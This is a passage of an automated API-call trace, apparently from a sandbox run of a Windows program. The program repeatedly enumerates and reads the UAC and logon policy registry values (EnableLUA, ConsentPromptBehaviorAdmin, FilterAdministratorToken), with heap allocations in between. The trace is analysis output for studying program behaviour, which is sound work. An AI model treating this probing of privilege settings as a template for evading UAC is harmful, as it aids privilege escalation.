lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.597] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.597] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x23fc438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x23fc438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.597] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc438) returned 1 [0247.597] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.597] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fb860 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb878 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.597] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb888 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc438 [0247.597] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb898 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc558 [0247.597] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb930 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc510 [0247.597] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x20) returned 0x23fb940 [0247.597] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb860) returned 1 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb860 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc4c8 [0247.597] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb968 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc480 [0247.597] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb978 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc3f0 [0247.597] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb988 [0247.597] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc3a8 [0247.598] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x30) returned 0x23fb998 [0247.598] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb940) returned 1 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb940 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc360 [0247.598] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb950 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc318 [0247.598] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb9d0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc2d0 [0247.598] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb9e0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.598] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.598] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb998) returned 1 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb998 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.598] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fb9a8 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1b0 [0247.598] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1e8 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc168 [0247.598] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1f8 [0247.598] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.598] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.599] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.599] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb878) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc438) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb888) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc558) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb898) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc510) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb930) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc4c8) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb860) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc480) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb968) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc3f0) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb978) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc3a8) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb988) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc360) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb940) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc318) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb950) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc2d0) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb9d0) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb9e0) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1f8) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb998) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1b0) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb9a8) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc168) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd1e8) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd1f8) returned 1 [0247.599] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.599] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.599] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.599] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x23fc240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x23fc240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.600] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.600] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.600] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.600] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.600] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1f8 [0247.600] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.600] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.600] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1e8 [0247.600] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.600] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.615] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd208 [0247.616] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.616] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.616] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd218 [0247.616] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc168 [0247.616] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.616] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x20) returned 0x23fb860 [0247.616] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.616] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd228 [0247.616] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1b0 [0247.616] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.616] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd238 [0247.616] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.616] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.616] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd248 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.617] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd258 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc2d0 [0247.617] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x30) returned 0x23fb930 [0247.617] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb860) returned 1 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd268 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc318 [0247.617] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd278 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc360 [0247.617] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd288 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc3a8 [0247.617] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd298 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc3f0 [0247.617] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc480 [0247.617] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb930) returned 1 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2a8 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc4c8 [0247.617] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2b8 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc510 [0247.617] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2c8 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc558 [0247.617] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.617] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc438 [0247.618] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 